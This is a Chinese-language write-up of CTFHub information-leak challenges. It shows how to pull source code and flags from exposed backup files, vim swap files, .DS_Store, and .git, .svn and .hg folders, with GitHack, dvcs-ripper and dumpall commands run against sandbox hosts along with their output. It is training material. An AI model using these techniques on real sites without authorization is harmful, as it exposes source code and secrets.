目录遍历

Des: N/A。

页面如下:

点击按钮后会进入一个在线FTP目录:

挨个进入查看即可。

获得flag

PHPINFO

Des: N/A。

页面如下:

点击按钮进入phpinfo页面,Ctrl+F搜索flag即可在Environment中的变量中找到flag

获得flag

拓展:phpinfo

PHP: phpinfo - Manual

phpinfo包含所有EGPCS(Environment, GET, POST, Cookie, Server)数据,通过phpinfo页面我们能获取到服务器的很多配置信息,在后续的文件上传等操作上能依据该页面的禁用函数定制攻击手法。

备份文件下载

网站源码

Des: 当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。

页面如下:

尝试访问www.zip,成功获取网站源码。

获得flag

bak文件

Des: 当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。

页面内容如下:

Flag in index.php source code.

网站默认首页为index.php,查看页面源码没有任何信息,尝试获取index.php源码,联想到题目给的bak文件,尝试访问index.php.bak,成功获取index.php.bak文件。

获得flag

vim缓存

Des: 当开发人员在线上环境中使用 vim 编辑器,在使用过程中会留下 vim 编辑器缓存,当vim异常退出时,缓存会一直留在服务器上,引起网站源码泄露。

页面如下:

备份文件下载 - vim

flag 在 index.php 源码中

页面提示我们获取index.php文件,再根据题目名称我们大概可知具体方法为获取index.phpvim缓存文件,访问.index.php.swp即可,此处在index.php之前加.是因为vim缓存文件默认为隐藏文件,所以文件名前有个.。获取到index.php.swp文件后我们先在Linux中使用touch命令创建一个同名文件index.php,再使用vim -r <filename>恢复文件内容。

拓展:vim文件备份

用户在使用vim的过程中若因断电、网络不稳定(如终端突然断开等情况)等原因突然中断文件编辑时,第一次vim会在当前目录生成一个与编辑文件同名的后缀为.swp的备份文件,第二次后缀为swo,第三次后缀为swn。用户可使用vim -r命令查看当前目录下的所有swp文件,在当前目录存在与备份文件同名的文件时,使用vim -r <filename>命令将备份文件中的内容覆盖至文件。

.DS_Store

Des: .DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。

页面内容:

备份文件下载 - DS_Store

试着寻找 flag

此处使用dumpall工具0xHJK/dumpall: 一款信息泄漏利用工具,适用于.git/.svn/.DS_Store泄漏和目录列出 (github.com)

python3 dumpall.py -u http://challenge-1e2e8ffbe3e72091.sandbox.ctfhub.com:10800/.DS_Store

结果:

[200] http://challenge-1e2e8ffbe3e72091.sandbox.ctfhub.com:10800/47a90c9e8d66b6a1eb9c411204e7a934.txt 47a90c9e8d66b6a1eb9c411204e7a934.txt

直接访问链接。

获得flag

Git泄露

Log

Des: 当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。请尝试使用BugScanTeam的GitHack完成本题。

工具地址:BugScanTeam/GitHack: .git 泄漏利用工具,可还原历史版本 (github.com)

工具利用:

 python2 GitHack.py http://challenge-dc11daca3e6b9249.sandbox.ctfhub.com:10800/.git
 
 # 攻击日志
   ____ _ _   _   _            _
 / ___(_) |_| | | | __ _  ___| | __
| |  _| | __| |_| |/ _` |/ __| |/ /
| |_| | | |_|  _  | (_| | (__|   <
 \____|_|\__|_| |_|\__,_|\___|_|\_\{0.0.5}
 A '.git' folder disclosure exploit.

[*] Check Depends
[+] Check depends end
[*] Set Paths
[*] Target Url: http://challenge-dc11daca3e6b9249.sandbox.ctfhub.com:10800/.git/
[*] Initialize Target
[*] Try to Clone straightly
[*] Clone
Cloning into '/root/tools/GitHack/dist/challenge-dc11daca3e6b9249.sandbox.ctfhub.com_10800'...
fatal: repository 'http://challenge-dc11daca3e6b9249.sandbox.ctfhub.com:10800/.git/' not found
[-] Clone Error
[*] Try to Clone with Directory Listing
[*] http://challenge-dc11daca3e6b9249.sandbox.ctfhub.com:10800/.git/ is not support Directory Listing
[-] [Skip][First Try] Target is not support Directory Listing
[*] Try to clone with Cache
[*] Initialize Git
[!] Initialize Git Error: hint: Using 'master' as the name for the initial branch. This default branch name
hint: is subject to change. To configure the initial branch name to use in all
hint: of your new repositories, which will suppress this warning, call:
hint:
hint:   git config --global init.defaultBranch <name>
hint:
hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
hint: 'development'. The just-created branch can be renamed via this command:
hint:
hint:   git branch -m <name>

[*] Cache files
[*] packed-refs
[*] config
[*] HEAD
[*] COMMIT_EDITMSG
[*] ORIG_HEAD
[*] FETCH_HEAD
[*] refs/heads/master
[*] refs/remote/master
[*] index
[*] logs/HEAD
[*] logs/refs/heads/master
[*] Fetch Commit Objects
[*] objects/98/10bf645254762b81c98bd738807624695fc847
[*] objects/01/2ae1fc6b838a345b689ae6bb4ec0edfd517a64
[*] objects/5e/975018cc48f4f1bd619ba6afbebfa9b295701d
[*] objects/3a/ba889186ca4defd4a2083371d7e524d53abf33
[*] objects/90/71e0a24f654c88aa97a2273ca595e301b7ada5
[*] objects/2c/59e3024e3bc350976778204928a21d9ff42d01
[*] objects/25/222d3363054bd0718d58f51389c438681a145a
[*] objects/89/04d877c841d1afd9e2dfaf879e9e785ac90822
[*] Fetch Commit Objects End
[*] logs/refs/remote/master
[*] logs/refs/stash
[*] refs/stash
[*] Valid Repository
[+] Valid Repository Success

[+] Clone Success. Dist File : /root/tools/GitHack/dist/challenge-dc11daca3e6b9249.sandbox.ctfhub.com_10800

# 切换至对应目录
cd dist/challenge-dc11daca3e6b9249.sandbox.ctfhub.com_10800

# git log查看提交历史
git log
commit 9810bf645254762b81c98bd738807624695fc847 (HEAD -> master)
Author: CTFHub <[email protected]>
Date:   Mon Aug 15 07:42:21 2022 +0000

    remove flag

commit 5e975018cc48f4f1bd619ba6afbebfa9b295701d
Author: CTFHub <[email protected]>
Date:   Mon Aug 15 07:42:21 2022 +0000

    add flag

commit 25222d3363054bd0718d58f51389c438681a145a
Author: CTFHub <[email protected]>
Date:   Mon Aug 15 07:42:21 2022 +0000

    init
    
# 可见5e97分支存在flag,我们选择回滚到该分支即可
git reset --hard 5e97
HEAD is now at 5e97501 add flag

# 查看当前目录下文件
ls
170172042812400.txt  50x.html  index.html

查看txt文件即可。

获得flag

拓展:git简介及git回滚命令

git是一个开源的分布式版本控制系统,可用于管理代码和工作流,以commit为单位。

当我们需要对git目录进行回滚时,可使用git reset目录,具体有两种用法:

1. 回滚到指定分支
git reset --hard <commit_id>

2. 回滚到上一分支
git reset --hard HEAD^
我们还可以进一步使用命令回滚到上上一个分支
git reset --hard HEAD^^

在输入commit_id时,若id前几位(如前四位)在提交记录中值唯一,那么我们只需输入前四位即可,回滚代码还可使用git revert,此处不详写,感兴趣的读者可自行查阅资料。

Stash

Des: 同上。

还是使用GitHack工具,进入对应后查看相关信息:

# 命令
git log

# 结果
commit 8ae0b10fa29bf706e479f82f6717cb8b2caa5a59 (HEAD -> master)
Author: CTFHub <[email protected]>
Date:   Mon Aug 15 14:14:02 2022 +0000

    remove flag

commit b6111d1498aba67660cb6eca093a7cc94038bb5a
Author: CTFHub <[email protected]>
Date:   Mon Aug 15 14:14:02 2022 +0000

    add flag

commit d3ee626ec78900eb2fd1ef4db73be31ff2136ba9
Author: CTFHub <[email protected]>
Date:   Mon Aug 15 14:14:02 2022 +0000

    init
    
# 查看当前目录下的文件
ls
50x.html  index.html

# 查看通过git stash存储的修改列表
git stash list
stash@{0}: WIP on master: b6111d1 add flag

# 将修改追加到最新提交之后,也就是将list中的flag追加到最新提交后
git stash pop

# 查看当前目录下的文件
ls
12452555114914.txt  50x.html  index.html

获得flag

拓展:git stash简介

git stash一般应用在一些比较复杂的环境中,这条命令会将本地修改保存并将当前代码切换到HEAD提交上。git stash命令其实就是git stash save命令的简写,我们还可通过git stash list查看修改列表、git stash show校验修改列表、git stash apply重新存储。最新的存储位于ref/stash中,可通过stash@{0}获取最新存储,stash@{1}获取次新存储,以此类推。

git stash的每个存储单元在工作仓库中通过commit的形式,由树结构进行展示,其根节点为HEAD所在的提交,工作树如图所示,H代表HEAD提交,I代表存储单元的提交,W代表工作单元的提交:

此处我们以开发过程中需要同步远端代码的情况为例:当我们在进行开发还未调试完成时,不想提交当前代码,但又需要同步关联远端代码。在本地代码和远端代码没有冲突时,可使用git pull命令,但若存在冲突则会拒绝覆盖当前修改,在这种情况下我们仅需使用git stash保存本地代码,git pull同步远端代码后再使用git stash pop将本地代码追加进当前分支即可:

git stash
git pull
git stash pop

Index

Des: 同上。

# 使用工具
python2 GitHack.py http://challenge-d24592e5c3a594ff.sandbox.ctfhub.com:10800/.git

# 切换到对应目录
cd dist/challenge-d24592e5c3a594ff.sandbox.ctfhub.com_10800

# 查看目录下文件
ls
264482891025009.txt  50x.html  index.html

获得flag

SVN泄露

Des: 当开发人员使用 SVN 进行版本控制,对站点自动部署。如果配置不当,可能会将.svn文件夹直接部署到线上环境。这就引起了 SVN 泄露漏洞。

此处使用的kost/dvcs-ripper: Rip web accessible (distributed) version control systems: SVN/GIT/HG… (github.com)工具:

# 在运行成功前有两处报错,此处贴上解决方法
报错1:Can't locate DBI.pm in @INC (you may need to install the DBI module) (@INC contains: /etc/perl /usr/local/lib/x86_64-linux-gnu/perl/5.34.0 /usr/local/share/perl/5.34.0 /usr/lib/x86_64-linux-gnu/perl5/5.34 /usr/share/perl5 /usr/lib/x86_64-linux-gnu/perl-base /usr/lib/x86_64-linux-gnu/perl/5.34 /usr/share/perl/5.34 /usr/local/lib/site_perl) at ./rip-svn.pl line 7.
BEGIN failed--compilation aborted at ./rip-svn.pl line 7.
解决方法:apt install -y libdbi-perl

报错2:install_driver(SQLite) failed: Can't locate DBD/SQLite.pm in @INC (you may need to install the DBD::SQLite module) (@INC contains: /etc/perl /usr/local/lib/x86_64-linux-gnu/perl/5.34.0 /usr/local/share/perl/5.34.0 /usr/lib/x86_64-linux-gnu/perl5/5.34 /usr/share/perl5 /usr/lib/x86_64-linux-gnu/perl-base /usr/lib/x86_64-linux-gnu/perl/5.34 /usr/share/perl/5.34 /usr/local/lib/site_perl) at (eval 42) line 3.
Perhaps the DBD::SQLite perl module hasn't been fully installed,
or perhaps the capitalisation of 'SQLite' isn't right.
Available drivers: DBM, ExampleP, File, Gofer, Mem, Proxy, Sponge.
 at ./rip-svn.pl line 85.
解决方法:apt install -y libdbd-sqlite3-perl

# 工具利用
./rip-svn.pl -v -u http://challenge-ee8bd450d496d834.sandbox.ctfhub.com:10800/.svn/
[i] Found new SVN client storage format!
REP INFO => 1:file:///opt/svn/ctfhub:e43e7ef8-82fb-4194-9673-81c29de69c33
[i] Trying to revert the tree, if you get error, upgrade your SVN client!

# 查看当前目录下.svn目录树
tree .svn
.svn
├── entries
├── format
├── pristine
│   ├── 24
│   │   └── 24e3ff39c1fc315ce64dc8e13aed8bcdc6acecdd.svn-base
│   └── bf
│       └── bf45c36a4dfb73378247a6311eac4f80f48fcb92.svn-base
├── text-base
├── tmp
└── wc.db

查看prisine里的文件即可。

获得flag

HG泄露

Des: 当开发人员使用 Mercurial 进行版本控制,对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞。

还是使用上一题的工具:

./rip-hg.pl -v -u http://challenge-22e6994653073985.sandbox.ctfhub.com:10800/.hg/
[i] Downloading hg files from http://challenge-22e6994653073985.sandbox.ctfhub.com:10800/.hg/
[i] Auto-detecting 404 as 200 with 3 requests
[i] Getting correct 404 responses
[d] found 00changelog.i
[d] found dirstate
[d] found requires
[!] Not found for branch: 404 Not Found
[!] Not found for branchheads.cache: 404 Not Found
[d] found last-message.txt
[!] Not found for tags.cache: 404 Not Found
[d] found undo.branch
[d] found undo.desc
[d] found undo.dirstate
[d] found store/00changelog.i
[!] Not found for store/00changelog.d: 404 Not Found
[d] found store/00manifest.i
[!] Not found for store/00manifest.d: 404 Not Found
[d] found store/fncache
[d] found store/undo
[!] Not found for .hgignore: 404 Not Found
[i] Running hg status to check for missing items
cannot find hg: No such file or directory at ./rip-hg.pl line 140.

# 查看.hg目录树
tree .hg
.hg
├── 00changelog.i
├── dirstate
├── last-message.txt
├── requires
├── store
│   ├── 00changelog.i
│   ├── 00manifest.i
│   ├── data
│   ├── fncache
│   └── undo
├── undo.branch
├── undo.desc
└── undo.dirstate

# 查看目录状态
cat .hg/dirstate
&8�}1�&Y��PiH,G��n���^c50x.htmln��
                                       ^K�*
index.htmln��!b�M�flag_2935626550.txt

构造链接http://challenge-22e6994653073985.sandbox.ctfhub.com:10800/flag_2935626550.txt

获得flag

文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。